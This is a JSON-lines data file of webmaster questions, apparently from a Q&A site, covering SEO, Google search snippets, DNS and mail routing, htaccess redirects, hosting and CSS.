{"id":"15859","title":"How to get a facebook page with URL like facebook.com\/mycompany","text":"I've seen other facebook 'company\/brand\/product' pages with URLs of the format: facebook.com\/mycompany How do you set this up? If I use pages\/create, I get an address like: facebook.com\/pages\/mycompany\/234266"}
{"id":"55061","title":"How can you identify duplicate CSS rules?","text":"I'm not talking about used\/unused here. I have two stylesheets and some rules differ (either in selectors, rules or both) and some are exactly the same. So I'm looking for a way to extract and move those rules, which are the same in both files, into a third stylesheet. In other words: an intersection of two stylesheets. Strangely, I couldn't find a software for this. Would have expected this to be a more common problem. Background, for those who care: I'm converting a desktop website into a mobile one and I've started by duplicating the desktop stylesheet and changing it (throwing stuff out, adding to it)."}
{"id":"67318","title":"What contributes to expanded company details being displayed in Google search results?","text":"For some results returned in Google Search, on the right side it displays the company details, logo, contact numbers, etc... For example, see the following screenshot:  I'd like to know what contributes to this so that I can try to achieve it for my site too."}
{"id":"50597","title":"How do I break the infinite loop that results when I try and link my Google AdSense and Google Analytics accounts?","text":"It seems that it is currently impossible to link a Google Analytics and AdSense accounts. I this true? I am definitely an administrator in both accounts (both use the same Google login too) 1. From the homepage on my Adsense account I click on the link that says: \"Integrate with Google Analytics\"  2)...and then on the \"Go to Analytics\" links,  3) I receive a message on my Adsense page  4) ...and I get taken to the home page of my analytics account in a separate window  5)...from where I navigate to the Admin | Data Sources | Adsense page:  6) I click on the Link Accounts link and I end up exactly where I started and when I go to Account Settings page in Adsense, I get this:  **I seem never able to actually link the two accounts. What on earth am I doing wrong?** PS A similar question has been logged here, but I think it is very old and the answers are very out of date."}
{"id":"47401","title":"Is no cache meta tag bad for performance?","text":"I see many websites, seemingly arbitrarily adding the no cache meta tag on every page. Like this: <META HTTP-EQUIV=\"PRAGMA\" CONTENT=\"NO-CACHE\"> <META HTTP-EQUIV=\"CACHE-CONTROL\" CONTENT=\"NO-CACHE\"> <META HTTP-EQUIV=\"EXPIRES\" CONTENT=\"-1\"> What is it good for and why are they doing it? Is it bad or good for performance? Will it prevent http expires headers to function and ultimately slow down a website?"}
{"id":"51800","title":"Best way to replace\/publish the restructured website in SEO friendly manner","text":"I had a website which contains several subdomains. http:\/\/sub1.example.com\/stories\/23\/job-done.html http:\/\/sub2.example.com\/stories\/23\/job-done.html At present I decided to restructure my website to change all subdomains and links to a different structure like, http:\/\/stories.example.com\/23\/job-done.html **Both structures displays same content.** > Currently I am using Google Webmaster Tools and most of my webpages are > indexed in Google and have some PageRank also. Before publishing my restructured website, I thought about what are the options that I can preserve my Google rankings as: * Remove whole old website and publish the restructured website and **do the relative changes in Webmaster Tools** * Remove whole old website and publish the restructured website and **remove account and recreate new account in Webmaster Tools to restructured website** * Publish restructured website **without removing old webpages** and **use 301 redirect on old pages to its related new webpage**. So what is the best way to publish my restructured website from above options or do I need to do something else to accomplish my goal."}
{"id":"49788","title":"Can one spread rich snippet breadcrumbs markup all over a page?","text":"From here, we have an example of a rich snippet breadcrumb implementation: <body itemscope itemtype=\"http:\/\/schema.org\/WebPage\"> ... <div itemprop=\"breadcrumb\"> <a href=\"category\/books.html\">Books<\/a> > <a href=\"category\/books-literature.html\">Literature & Fiction<\/a> > <a href=\"category\/books-classics\">Classics<\/a> <\/div> The breadcrumbs are grouped under a `div`. Unfortunately, a page does not necessarily group its `a` links in one place. Can one spread rich snippet markup like this? <body itemscope itemtype=\"http:\/\/schema.org\/WebPage\"> ... <p> Bla bla bla some text <a itemprop=\"breadcrumb\" href=\"category\/books.html\">Books<\/a> > bla bla bla. Bla bla ble more text <a itemprop=\"breadcrumb\" href=\"category\/books-literature.html\">Literature & Fiction<\/a> > bla bla bla. Some more text about more topics bla bla bla <a itemprop=\"breadcrumb\" href=\"category\/books-classics\">Classics<\/a> bla bla bla. <\/p> Or will the following work too (i.e., the `itemprop` is inherited by all `a` links like css)? <p itemprop=\"breadcrumb\"> Bla bla bla some text <a href=\"category\/books.html\">Books<\/a> > bla bla bla. Bla bla ble more text <a href=\"category\/books-literature.html\">Literature & Fiction<\/a> > bla bla bla. Some more text about more topics bla bla bla <a href=\"category\/books-classics\">Classics<\/a> bla bla bla. <\/p> If breadcrumb links are spread all over a page, what is the right way to set the rich snippet markup for these?"}
{"id":"11137","title":"Can I make my IP address look as if it is from another country, not from the US?","text":"The top level domain .md is works as follows: (A) If you are from the US, Canada, or a few other countries, you have to register .md domains through max.md for exorbitant prices, because they figure doctors don't know any better. (B) If you are from anywhere else in the world, you get to register through nic.md for the much more reasonable yearly price of $39 So of course, I waited until I was on a trip to the Czech Republic, and then registered my .md domain when I was there. However, now I want to renew my domain, but because I am back in the US, whenever I try to access my account throught nic.md, I am being redirected to max.md. I am not going to be taking any trips overseas before my domain expires, so I wanted to know if there is a way to make my IP address appear as if it is coming from another country, like the Czech Republic, or elsewhere?"}
{"id":"11134","title":"Styling input elements using CSS - Inset","text":"Can anyone point me in a direction of how the following elements are styled\/created? on http:\/\/www.tumblr.com\/. What i'm looking for specifically is the gradient, and the nice inset border, where it looks like it's The input[type=text] elements as well as the input[type=submit]"}
{"id":"33951","title":"Is Google Analytics Part Of Google's Search Engine Algorithm","text":"I was wondering if anyone knows if Google uses the data it receives from Google Analytics to help determine a websites SERP (Search Engine Rank Position). For example, if my website is getting 1000 users visiting my website from Canada and only 100 users visiting my website from the USA, does that mean my website will be ranked higher on Google.ca and lower on Google.com? And, if a website is using Google Analytics will it be ranked higher for the organic search engine keywords?"}
{"id":"11132","title":"How do i point my domain to wordpress blog","text":"I would like to know that if we have our WordPress blog like: `http:\/\/koolkabin.wordpress.com` and our domain like: `http:\/\/www.outsourcingnepal.com` then Can we make it like working and posting all contents in `http:\/\/koolkabin.wordpress.com` and showing the contents in our domain i.e `http:\/\/www.outsourcingnepal.com` For more clarification: if user enters `http:\/\/www.outsourcingnepal.com` or `http:\/\/koolkabin.wordpress.com` in their browser address bar then both should show contents from `http:\/\/koolkabin.wordpress.com` but one more thing when user visit the website from `http:\/\/www.outsourcingnepal.com` the URL should remain `http:\/\/www.outsourcingnepal.com` not `http:\/\/koolkabin.wordpress.com`"}
{"id":"24577","title":"Is it legal to host unlimited domains in an unlimited hosting plan?","text":"I have an unlimited webhosting plan from http:\/\/www.domainindia.org\/web_site_hosting_india.php. I want to give my users a registered domain name like usersite.com and provide a cpanel to them which will have basic features like e-mail, phpMyAdmin, databases and a file manager. I'll be registering the domains myself and adding them as addon domains in my cpanel so that they can use my web space, bandwidth and databases which should work since I have the unlimited plan. I know that the cpanel will be a shared one for all the addon domains, so I'm thinking to provide a zpanel (zpanelcp.com; demo: zpanelcp.com\/zpaneldemo) to each user as it is free and easy also. Or develop my own basic cpanel like my3gb.com provides. I'm doing all of this in order to develop my own hosting site in a way by providing registered web domains, web space, zpanel for controlling the website, etc. Are there any legal problems I could run into by doing this?"}
{"id":"48729","title":"Getting an agency to release a client's domain","text":"A friend of mine has a website with Therapysites.com (they create therapy sites for alternative therapy providers). She wants to move to a different hosting, but the service provider is charging 15 USD for releasing the domain. It's a nominal amount, but principally I think its unfair. Is this keeping the domain hostage thing legal?"}
{"id":"24574","title":"Access Forbidden! Apache Windows XP","text":"This is a great tutorial on how to server websites other than in default htdocs folder in XAMPP. It worked for me the other day but then I had to reinstall XAMPP (1.7.7 was 1.7.6) and now I am getting this error when I try the same. Access forbidden! You don't have permission to access the requested object. It is either read-protected or not readable by the server. If you think this is a server error, please contact the webmaster. Error 403 I have put this in _http.conf_ file according to the above link <Directory \"C:\/Blog\"> Options Indexes FollowSymLinks Includes ExecCGI AllowOverride All Order allow,deny Allow from all <\/Directory> Alias \/blog\/ \"C:\/Blog\" # this goes inside the alias module When I type the URL, I get these messages: localhost\/blog #gets error, object not found localhost\/blog\/ #Access Foribdden localhost\/blog2\/ #this folder does not exist and it rightly says object not found Note that I have added **_everyone_** user to blog folder but still have the problem. I have added a plain HTML file as well but still have the same problem. I cannot find a _.htaccess_ file."}
{"id":"35809","title":"How to identify spammy domains giving backlinks to my site (to submit in disavow links in WMT)","text":"Google is out with much awaited feature. But out of 100's of domains giving backlink to my site I want to simply find the spammy ones and disavow domain- wise using \"domain:\" feature. I'm looking for a tool wherein I'll feed list of domains and then it should tell me a domain's spammy-ness in a scale. Currently I'm trying Netpeak Checker. Any suggestions?"}
{"id":"56576","title":"Should I \"disavow\" all links from spammy directories?","text":"Since I took over management of a site, I've noticed on Google Webmaster Tools https:\/\/www.google.com\/webmasters\/tools\/external-links that there are links from about 2000 different sites -- \"social bookmark\" sites, \"directories\" of all kinds, and some newspapers. My site is for a small local business selling a very common service with little if any differentiation and no online mentions except for a few Yelp reviews. Should I use the \"disavow links\" tool\"? How do I decide which links are \"spammy\" and which are ok? Also, is there any reason the site would have so many backlinks except that the site owner previously hired a shady SEO firm who used \"link schemes\"? In other words, is it normal for a site like this to have backlinks from 2000 sites?"}
{"id":"11139","title":"Do irrelevant links help PageRank?","text":"I was recently asked for a link exchange between my PR1 site and someone's PR4 site. They are not related, and even in different languages. Disregarding the degraded user experience and assuming the link provides no traffic on it own, would such an exchange help my site in the search results? Could it hurt it?"}
{"id":"18379","title":"Why my new web design increased in 20% my bounce rate?","text":"I do need your help and opinions. Last August, 1st, I have relaunched my website with a completely new design. As I have also moved it from Dreamweaver and .html format to Wordpress, the new website had also its urls changed to wordpress format, which were all duly and properly redirected using a htaccess file (already exhaustively tested and it is ok). I also keeped the same \"Title\" and meta description just to avoid surprises realted to traffic. Although in my opinion, the new design is much, much more modern, clear and easy to navigate, my bounce rate in general has increased from 40%-50% (old design) to 60%-70% (new design) and the traffic started to decrease also, especially from Bing and Yahoo, since this Monday. As I am already tired trying to figure out what could be causing this higher Bounce Rate and decrease in traffic, I do appreciate you could help taking a look at the old website design and the new one and let me know if you see anything that could justify these worse result. Old: http:\/\/saturn.relmax.net\/~easyjob\/ New: http:\/\/www.easyjob.net\/ Thanks in advance for your help"}
{"id":"17984","title":"Can I get JSP\/ JSF hosting in shared hosting plans?","text":"I want to use JSF with Facelets\/JSP in my website. Can I get Java hosting in shared hosting plans ? I want to re-develop a company website for my client. Currently the website uses PHP & is hosted on Dreamhost."}
{"id":"17986","title":"Does Google AdWords care about duplicate content?","text":"Our site offers several families of products, all of which have a common set of configurations. For simplicity's sake, we'll say we offer products A, B and C, each with configurations 1, 2 and 3 * Products: A, B, C * Configurations: 1, 2, 3 We want to create landing page <-> ad group combinations that reflect each possible combination of each product and configuration. Each product and each configuration have their own page, and so each landing page would have include the product content and the configuration content: * ourproducts.com\/A-1 (Contains copy for A and 1) * ourproducts.com\/A-2 * ourproducts.com\/A-3 * ourproducts.com\/B-1 * ... etc... As you can see, this will lead to duplicate content across our product pages, though in different combinations. My question is, does this matter from AdWords point of view? Will there be any negative consequence to repeating portions of content this way?"}
{"id":"17988","title":"Htaccess 404 & 301","text":"The site is run on wordpress (latest) and is installed in \/htdocs\/www\/ This htaccess file is in \/htdocs\/www\/roh\/ along with a bunch of images & some css. I want requests to the old html files to redirect to their new wordpress pages. I got most of it working, except the example below. RewriteEngine On RewriteBase \/htdocs\/www ErrorDocument 404 \/htdocs\/www\/ Redirect \/roh\/z1\/q2lvl[1-9].html http:\/\/www.lunaz.com\/realms-of-hyrule\/legend-of-zelda\/maps I go to www.lunaz.com\/roh\/z1\/q2lvl2.html, and it 404s and takes me to the main 404 page in my wordpress theme. I tried ErrorDocument 404 \/htdocs\/www\/roh\/404.html, but that just got me an isp redirected spam search page. The only way I got the main wordpress 404 page working was by going up directories untill something worked. I do not want to send 404s to an http:\/\/ address. My questions: 1. Why doesn't the range of numbers [1-9] work? 2. Why can't I get \/htdocs\/www\/roh\/404.html working for anything in \/roh & below? Sorry for the basic questions, Not exatly sure what to search for, so Google is only giving me examples I've tried or have working already."}
{"id":"28400","title":"Do url shortening services shorten the id or directly the url?","text":"Assuming the urls are saved to a database where they each have id and the URL saved. For example a URL `www.example.com` (let's say with id 1000) would possibly be shortened to `www.url.com\/c1hd5` etc. Is the URL `id=1000` shortened to `c1hd5` with base64 or similar or are the ids shortened? The 566 id could be shortened like this: 1 = 1, 2 = 2, ... 9 = 9, 10 = a. The 1000 id would be _fE_ if we used every possible letter from a-Z and - _. Is it good idea to use ids from database to shorten urls?"}
{"id":"65236","title":"Google Webmaster Tools linked from lists dead links","text":"How long will Google Webmaster Tools try to crawl old links? We are seeing errors in the crawler that show \"linked from\" URLs that haven't existed in months. Will it just keep trying to crawl the link until we provide a redirect? Also, we're seeing 404s that say the linked from source is our homepage, and we have not had those links on the homepage in quite a while."}
{"id":"15580","title":"Display comments from a Facebook page link on my site's post page","text":"I am not sure if this is doable, but whenever I post a bit of news on my site, I will post a link on my Facebook fan page. Lately, I've noticed the whole discussion is happening on Facebook, with comments there being way bigger in numbers than on my page. I notice FB has a Social Comments plugin. I was wondering if there was a way to embed comments from my Facebook fan page for a specific link with that plugin or any way otherwise?"}
{"id":"15581","title":"htaccess rewrite problem","text":"Maybe is best way to show my problem in one example. In my .htaccess : RewriteRule ^catalog\/[a-z0-9_-]+-([0-9]+)\/[a-z0-9_-]+-([0-9]+)\/[a-z0-9_-]+-([0-9]+)\/ index.php?act=catalog&category=$1&color=$2&size=$3 [NC,L] With the address `www.site.com\/catalog\/category-1\/red-3\/size-3\/` this works excellent But if you leave out the size, like `www.site.com\/catalog\/category-1\/red-3\/`, I will be redirected to `www.site.com`. I want to show all articles with category ID 1 and color which is ID 3."}
{"id":"15586","title":"SEO: Nested List vs List, Split Over Divs vs Definition List","text":"From an SEO perspective which, if any, is better: Option 1: Nested lists with h2 tags <ul id=\"mainpoints\"> <li><h2>Powerful Analysis<\/h2> <ul> <li>Charting and indicators<\/li> <li>Daily trading signals<\/li> <li>Company health checks<\/li> <\/ul> <\/li> <li><h2>World Market Data<\/h2> <ul> [List Items removed for brevity] <\/ul> <\/li> <li><h2>Daily Market Data<\/h2> <ul> [List Items removed for brevity] <\/ul> <\/li> <\/ul> Option 2: Divs with h2 and lists <div id=\"mainpoints\"> <div> <h2>Powerful Analysis<\/h2> <ul> <li>Charting and indicators<\/li> <li>Daily trading signals<\/li> <li>Company health checks<\/li> <\/ul> <\/div> <div> <h2>World Market Data<\/h2> <ul> [List Items removed for brevity] <\/ul> <\/div> <div> <h2>Daily Market Data<\/h2> <ul> [List Items removed for brevity] <\/ul> <\/div> <\/div> Option 3: Definition List <dl id=\"mainpoints\"> <dt>Powerful Analysis<\/dt> <dd>- Charting and indicators<\/dd> <dd>- Daily trading signals<\/dd> <dd>- Company health checks<\/dd> <dt>World Market Data<\/dt> [List Items removed for brevity] <dt>Daily Market Data<\/dt> [List Items removed for brevity] <\/dl> My instincts tell me that semanticaly the pure list options (1 & 3) are the best and that h2 may be more SEO friendly (1 & 2) which would point to option 1 as being the best option. I do love the lean makeup of the definition list but will I take an SEO hit by losing the h2 tags? Before anyone asks, h2 is not valid markup in a dt tag. Are my instincts right with a nested list being the way to go?"}
{"id":"34329","title":"How to translate Umlauts and other International characters to US character set?","text":"Is there a \"translation table\" that shows how International characters map to the US character set. For example, German umlauts can be translated like: ä = ae ö = oe ü = ue or French characters like: è = e é = e etc ..."}
{"id":"35619","title":"Is it illegal to use content in such a way?","text":"I have a couple of questions about the legality of the content of some websites. I am currently working on two websites and I would like to make sure I am not breaking any laws, by using some content like I am... * Do I need to get a license to use images from the Internet (such as google.images.com) in my site, assuming they aren't a company logo belonging to another company? If not, am I allowed to use it after I modify it with a image editing software? * If content such as phone numbers, e-mail addresses, website addresses, and text from websites can be found for free online, and I gather this information for a search engine based site that I am working on and offering this information on a paid basis (similar to google, but more specialized), is something that is legal? **Note:** I am not 'copying' or redirecting business from anywhere, to my site. The exact opposite, the site I am working on actually helps advertise businesses and make it easier for customers to find them."}
{"id":"34325","title":"Intermittent silent failures when receiving email","text":"I’ve had a company host my website and email for the last six months or so and I’m having intermittent and silent failures where emails sent to me are not received. * The sender never receives a “delivery notification failure” message. * This has happened on multiple domains (@gmail.com, @microsoft.com) * I’ve experienced it happening first hand when I sent a mail to myself from another account but I was unable to reproduce the error. * It’s very rare (one in every 300 emails or so) * The mails are not routed to my junk folder :) Obviously I’m worried about the effect this has on my business – but what can I do? I don’t believe I have enough information to diagnose the problem (neither does my hosting company when I presented them with the same information) – should I switch to another host?"}
{"id":"15973","title":"Does Google use the Meta Description Tag for Description of Page?","text":"When you do a Google search, there is typically a snippet of sample content from the page. I seem to recall that the Meta Tags can influence this choice of descriptive sentences. Is that correct(?) and if so, is it the Meta Description Tag? Also, how many characters is Google's descriptive sentences limited to?"}
{"id":"35780","title":"Why Google skips page title","text":"> **Possible Duplicate:** > Does Google use the Meta Description Tag for Description of Page? I have no idea why this is happening. Title tag is: Unfurnished Office Space Wimbledon – Serviced Office on Lombard Road SW19 But is indexed as: Lombard Road – SW19 - London Office Space If you look in the source code and search for this portion ‘Lombard Road – SW19’ You then find that it's next to an office image alt=’Lombard Road – SW19’. The only thing I could think of is that the spider somehow ‘skips’ our title tag and grabs this bit, and then inserts the name of the site (but WHY?) Is there anything I can do with this? or is this a Google behaviour?"}
{"id":"3923","title":"Problem with description of my site and google search","text":"My HTML page : http:\/\/www.faressoft.com <meta name=\"description\" content=\"فارس سوفت الاسم الرائد في عالم البرمجيات العربية\" \/> When I search for my site name \"فارس سوفت\" using google, the description contains my description and the error message of my contact form. why ?"}
{"id":"26261","title":"Strange description appearing in Google search results","text":"> **Possible Duplicate:** > Does Google use the Meta Description Tag for Description of Page? I just noticed that when searching Google for the name of a website I'm working on, the search result description now has a broken English phrase which does not appear anywhere on that website, nor on the Google Places page:  Where might this text be coming from? How can I fix it?"}
{"id":"68804","title":"Different description on Brand search and Keyword search","text":"When we search for the company name and the company snippet shows up as a result, it takes a text from the HTML as description. On the other hand when we search a keyword and the homepage shows up as a result, the meta description will show up. It happens in Google, Bing and Yahoo. How is it possible? **--EDIT:** I found the solution, but since a MODERATOR, marked this question as duplicate, I will write my answer here: The problem was that: We didn't have the company name in the description, while the first word in the html body was the company name. Therefore, where we searched for the company name only, search engines found the html body a better match for the query and show the body (which was not a human readable text) However, when we searched the company name + a keyword that we mentioned in description, the description was chosen, not the html body. To fix the issue, we both changed the description to include the company name, and remove the company name from some html tags like logo's alt in the very first part of the page. Summary: Include all the keywords that you want to be searched in description including the company\/website name."}
{"id":"20971","title":"Site description not showing up in Google search","text":"> **Possible Duplicate:** > Problem with description of my site and google search > Does Google use the Meta Description Tag for Description of Page? When we search for our site on Google. What do I need to do to change the description? When I inspect the `<head>` element, I see something like: <meta name=\"description\" content=\"foobar blah blah blah blah\"> I see the title, though (which displays correctly). But the description is some random content that can be found on the homepage. It's not the actual description specified in the `meta` tag. I hear that it takes up to a month until Google updates the description for a site. Is this true? Unfortunately, I am unable to post the URL of our site here. Company policy, since we are still in private beta. Apologies for any inconvenience this may cause."}
{"id":"3951","title":"private domain registration","text":"I have seen many people hide their personal details like address and phone number while registering a domain. Sometimes they pay for this private registration. So that their information doesn't display in a whois lookup. What is the advantage of doing it and paying extra amount?"}
{"id":"59978","title":"Domain Content at Different URL","text":"I know next to nothing pertaining to this topic, so I will do my best to describe my situation. I tried looking for answers, but I think I just need someone to put it into layman's terms for me. I am working with a client who is planning to make a subdomain on their parent company's site. Let's call it \"foundation.example.com\". Example.com will create the subdomain, but is not allowing the client to host any files on their server. The solution proposed would be to purchase hosting elsewhere, but have the site point to foundation.example.com. The goal is to make it seem as if the user is on foundation.example.com, since that is what will show up in the address bar. How can I achieve this? All responses appreciated, thanks!"}
{"id":"31557","title":"CSS just for most basic HTML","text":"I've read that my note system Wikidpad, which exports to very simple HTML, can use CSS (http:\/\/wikidpad.sourceforge.net\/help\/HtmlCss.html) The elements in the output are not more than basic headings, bullet points and tables. I'd like to try some kind of improved style, but I as I have no knowledge about CSS, so the best I can do is to save some Myfile.css to a directory :) However if I google \"CSS template\" I get all sorts of complicating results that I cannot make sense of :( Am I using wrong terminology? Can you suggest what I should search for or maybe you even know a ressource where a get a simple CSS file with some decent standard HTML elements. I do not wish to make custom adjustments."}
{"id":"30186","title":"Are there any clear indicators that my sitemap file is beneficial?","text":"I have recently created a sitemap.xml file and uploaded it to my Google Webmasters Tools account. Google didn't report any issues or errors with the uploaded sitemap of my site. _Now my question is:_ * **How do I know if my sitemap is working within Google Webmaster Tools?** The reason I ask is I don't know what I'm suppose to being seeing or looking for, and it feels like I've uploaded an useless file."}
{"id":"13869","title":"How should I offer hosting to my clients?","text":"I'm starting a little web development company mainly using rails, but we've also got clients with existing joomla and php code. How do people generally package hosting into web development quotes? Is it usually a pass-through cost, or is it common to charge an additional fee? Also, since we do want to outsource the hosting, but we realise there'll most often be some configuration and maintenance to do, we're wondering how the hosting account is generally managed by development firms? Does each customer have a master account, or are there setups that allow some sort of hierarchy?"}
{"id":"4197","title":"Recommend a web service that handles location within a specific radius?","text":"We have a client that wants a store locator on their website. I've been asked to find a webservice that will allow us to send a zipcode as a request and have it return locations within x radius. We found this, but it's maintained by a single person, and doesn't look like it gets updated or supported very well. We're looking for something commercial, ideally that updates their zipcode database at least once per quarter, and that has a well-documented API with PHP accessibility. I won't say price isn't an object, but right now we just want some ideas, and my google-fu has failed me."}
{"id":"4194","title":"Google showing H1 text instead of page TITLE in search result?","text":"I always thought Google shows page title (whatever is in the `<title>` tag of the page) as 1st line of each result. But looking at the search \"orologi da collezione\" below, it seems Google is showing as 1st line of content the `<H1>` tag.  Am I right? **Is Google showing the content of the H1 tag as 1st line of the serach result** or something else got from meta description? Even more and more interesting when searching for \"vendita orologi\" the same site comes out, but this time it shows the real page title as 1st line: "}
{"id":"50861","title":"Can I configure Apache's HTTP Authentication (.htpasswd) to require the name\/password of a local user account?","text":"I'd like to restrict access to a certain directory in my webroot to all users that belong to a specific group. I know that I can create a .htpasswd file that specifies a user, or even several users, that should be accepted for HTTP Basic\/Digest Authentication, but is it possible to have Apache accept any username\/password from the local Linux machine's users? To go a step further, is it possible (through .htpasswd or other means that anyone is aware of) to allow any valid user within a specific group?"}
{"id":"18923","title":"Payment gateway performance comparison - is there any site which provides this data?","text":"This is a question specifically addressed towards site owners who use payment gateway solutions for India. Is there a site which provides regular updates on the performance of payment gateways? I know about the Indian Railways performance reports. Is there any other site which covers payment gateways like EBS, CCAvenue and the other payment gateways?"}
{"id":"55092","title":"Is switching WordPress frameworks later on bad?","text":"I just read that if you get a site established in Google with one WordPress framework, lets say \"Thesis\", and then change to another one, lets say \"Genesis\", that you could lose all your traffic from Google (if you have any). Is there any truth to this?"}
{"id":"14824","title":"How do I leave mail at the registrar while serving the web from host?","text":"Client's domain is registered with GoDaddy where they have a mail-only plan at the moment. Now web hosting has been set up elsewhere and we need to point web service to the new host while retaining mail at GoDaddy. (For reasons not important here, this is not negotiable.) What needs to be edited to carry this out correctly?"}
{"id":"43057","title":"What should I do if I host my email with a different email server, while using another web hosting for hosting my website?","text":"> **Possible Duplicate:** > How do I leave mail at the registrar while serving the web from host? What should I do if I host my email with a different email server, while using another web hosting for hosting my website? How it is done? I want a separate email hosting."}
{"id":"25396","title":"Can I have a webhost with one company and an E-Mail host with another?","text":"> **Possible Duplicate:** > How do I leave mail at the registrar while serving the web from host? I was wondering if it was possible to use one company (and respective name servers) for email hosting, and another (and NS) for the web hosting? My email host mentions changing all the NS records for the domain name to theirs, but wouldn't that disable the web hosting? I'm using cheapdomains.com.au for my E-Mail hosting, and Web24 for the web hosting. The domain was registered through Web24 also. Web24's domain management panel has a heap of options regarding DNS Zone records, such as an 'SOA' type, 'A' type and 'NS' type. If it can be done, which records should I point to CheapDomains' nameservers? (ns4.syra.net.au and ns5.syra.net.au respectively). I'm not sure if I'm allowed to mention company names on here, so tell me if I'm in the wrong..."}
{"id":"67456","title":"How to keep website(www) parked at GoDaddy but manage e-mails elsewhere?","text":"I have a domain registered at GoDaddy and a dedicated server I want to use to manage e-mails. If I want to keep www.mydomain.com loading from GoDaddy(at least for now) yet when e-mails are sent to mymailbox@mydomain.com these are managed over at my dedicated server, do I simply have to add a new Hostname in the GoDaddy control panel like this: Hostname: MAIL IP Address: IP of the dedicated server Would this be enough, or I also need to add an MX record and if yes, how? In my dedicated server control panel, I added this for the domain: Existing DNS records Hostname: @ Type: MX Content: mail.mydomain.com Priority: 0 Time to live: 300"}
{"id":"39497","title":"How to map a domain to a website?","text":"> **Possible Duplicate:** > How do I leave mail at the registrar while serving the web from host? I am using Network solutions. I would like to point my domain to a website. I have both the NameServer1 and NameServer2. However, I would like to keep my email routing as it is now. I believe I need to do it through the A records but not sure exactly how (which field correspond to nameserver 1 and 2). Please advise, where do I enter the NamerServer1 & 2 in the advanced settings so that I don't affect the MX records for my email. Also, I DO have the IP add dresses corresponding to the two name servers. Any help is appreciated."}
{"id":"45056","title":"Keep mail going to old server while hosting on a new server","text":"I'm trying to figure out how to keep mail going to an old server\/MX record (which is the same as the domain for the website), after I change the A record for the domain. Here's what I have now (with made up IP addresses): example.com A 95.134.27.5 < old server example.com MX example.com. What I need is: example A 12.9.149.143 < new server example MX 95.134.27.5. < old server Can I just use the IP address of the old server? Is there anything I need the current host to do to continue to have email processed through the old mail server?"}
{"id":"48170","title":"Separate Nameserver and MX server at different providers","text":"I have a DNS + Mail service with hosting company HostA for a domain `mydomain.com` and would like to use the servers of FreeDNS as nameservers so that they will resolve web requests to my home server's dynamic IP. At the same time however I don't want to host myself the email but use the mail servers at hosting company HostA, so I can download my `info@mydomain.com` mail. I thought this was a simple matter of adding a nameserver record which pointed to FreeDNS and a MX record which pointed to hosting company HostA domain. However they tell me either I use their nameservers for both web and email or I must use FreeDNS nameservers and I cannot edit the MX record anymore but have to deal with it at FreeDNS website. Is it true? can you explain me why?"}
{"id":"31975","title":"MX record setup to another domain?","text":"> **Possible Duplicate:** > How do I leave mail at the registrar while serving the web from host? I have a website aaa.fr with MX record correctly configured and working. Now I'm buying the domain aaa.es. Can I just configure the MX record of aaa.es pointing to the IP of the mail server on aaa.fr? What I mean is, can I avoid buying email boxes associated with the new domain aaa.es and rely totally on aaa.fr email server? thx"}
{"id":"33673","title":"how to cope with a 10 000 person accessing server in one hour?","text":"I have a share hosting, and I charge 150$\/years to host company website. Those websites have a maximum of 2000 person per month accessing the site, mostly WordPress site. So everything is fine until a person in Facebook, with 300 000 friend talk about the website. You know, if just 10% go see the site, it's 30 000 person at the same time accessing the site, and what should append just append, the site crash, and then after 1 hours, it's back on... So the question, how to cope with that kind of load ?"}
{"id":"38385","title":"Need help with DNS. Registrar is NS, Web Site at WinHost, Email at eHost","text":"Need help moving a web site for a client, which I will call ClientABC. The web site is ClientABC.com, which is hosted at Rackspace, with their email hosted at eHost. We are transferring the site from Rackspace to WinHost and are keeping the email hosted at eHost. I would like the transfer to happen with little to no down time for the web site and email (email is most important). **Current Config:** * Client owns domain and registrar is Network Solutions * Domain name is managed by VendorX at Rackspace * Web site is hosted on Rackspace servers * Email is hosted at eHost **Post-Move Config:** * Web site is hosted at WinHost * Keep Email at eHost **Here is my plan for the transfer:** * Copy the site files to WinHost and test to assure site is fully functional * Set up the MX record in the WinHost account to point to eHost servers * Change the DNS in Network Solutions from Rackspace to Winhost **Questions:** 1. Will this work? 2. What am I missing? 3. Should I expect down time or any issues with email? 4. I understand that there will be a period of time that traffic to the site is handled at both Rackspace and Winhost and that email traffic will be routed through both hosts as well. Will this cause issues? 5. How will I know when the change is fully propagated and that Rackspace is out of the equation and WinHost is handling everything (so I can kill the Rackspace account) Thanks in advance!"}
{"id":"55123","title":"Can DNS point to specific port?","text":"I got virtual machine on some server and my URL is something like this. > 111.11.11.111:8002 Can I get DNS who will point to specific port ? One more thing. If I cant do that, can my virtual machine on server be sub- domain of that server DNS ?"}
{"id":"38383","title":"How to specify expiration of cacheable resources?","text":"I'm trying to speed up a wordpress site -- this site: http:\/\/richardclunan.net I'm following the observations here: http:\/\/gtmetrix.com\/reports\/richardclunan.net\/9ps7Zc0j The first item says: \"The following cacheable resources have a short freshness lifetime. Specify an expiration at least one week in the future for the following resources:\" How do I specify expirations for those things? (I'm not very technically-minded, and likely won't know relevant terminology -- really appreciate baby-steps explanation if possible :)"}
{"id":"23189","title":"How to syndicate partial-page content and maintain SEO?","text":"How do we share our partial HTML content without losing our SEO? Since we're not sharing full HTML, we can't place \"rel:canonical\" in the header. I've thought it'd be interesting to enclose our content in an article tag with a cite attribute to the original source. Would Google respect that for SEO purposes? <article cite=\"http:\/\/myoriginalsite.com\/bestcontent\"> This is syndicated content...<\/article>"}
{"id":"33096","title":"How does home web server work?","text":"I'm trying to understand how home web servers work? Don't you need an IP to access it over the internet? Do you need to buy an IP before you can access your web server from anywhere? Or could someone please give a resource that explains why you don't need an IP?"}
{"id":"30889","title":"How to register a domain for someone else?","text":"I want to buy a domain name as a present for a non-technical friend. I therefore want to pay the initial setup cost, but have the account management, and repeat billing under their control. What is the easiest way to do this?"}
{"id":"58710","title":"Does CSS formatting of <h1>, <h2> tags have effect on search ranking?","text":"I have a web page where I made some style into `<h1>`, `<h2>` tags, will it make some effect on my SEO ranking?"}
{"id":"23718","title":"Does Lucida Sans Unicode font in Windows 7 have a bold style?","text":"I am trying to set an alternative to Mac Lucida Grande font with Lucida Sans Unicode for Windows users and found out that I see no bold style of it in my Windows 7. Is that common for all Windows 7? How about Windows XP?"}
{"id":"23716","title":"Three word domain name","text":"I need to buy a new 3 word domain name. Which domain name is more worth or more preferred by users? > my-example-domain.com or > myexampledomain.com Thanks Tom"}
